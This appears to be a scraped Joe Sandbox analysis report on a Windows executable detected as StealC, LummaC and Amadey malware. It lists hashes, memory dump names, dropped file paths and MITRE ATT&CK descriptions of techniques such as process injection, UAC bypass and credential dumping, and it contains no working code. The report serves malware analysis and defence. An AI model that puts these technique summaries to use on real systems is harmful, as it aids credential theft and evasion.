Instruction ID: 702637c7069d5168225ede9b6b5af53bdd4b67f3b3105facc03939b8d1faf88f
Opcode Fuzzy Hash: 99df8cf79f29dce0f3f73ce8360b039390de843efc6ba76d8dda7db24e368994
Instruction Fuzzy Hash: 1BF06D7214C201DFD308EF78E4D5ABABBE1EF44B10F15482EDAC686750D6706880CB43

Function 05BFE7F1 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05BFE7FC

Memory Dump Source

Source File: 0000000B.00000002.2784743127.0000000005BFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: true

Associated: 0000000B.00000002.2784528275.0000000005BF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784603033.0000000005BF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784675388.0000000005BF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005D91000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005E97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005EA6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5bf0000_f20b4c0961.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a8c2a8461b54178f9fa16aaca93a164d03befa2bb6ac882bb6202ec6276df546
Instruction ID: cd45ff4e34b008c428f37b45eff2899d03f453295553aca6d0d60ff629bd669a
Opcode Fuzzy Hash: a8c2a8461b54178f9fa16aaca93a164d03befa2bb6ac882bb6202ec6276df546
Instruction Fuzzy Hash: 05E0E275508609CBCB016F7888486ADBBA1FF09321F000B08EAB987AD0DA316C60CB0B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2fQ8fpTWAP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\44452951d3.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe

C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe

Windows Analysis Report
2fQ8fpTWAP.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre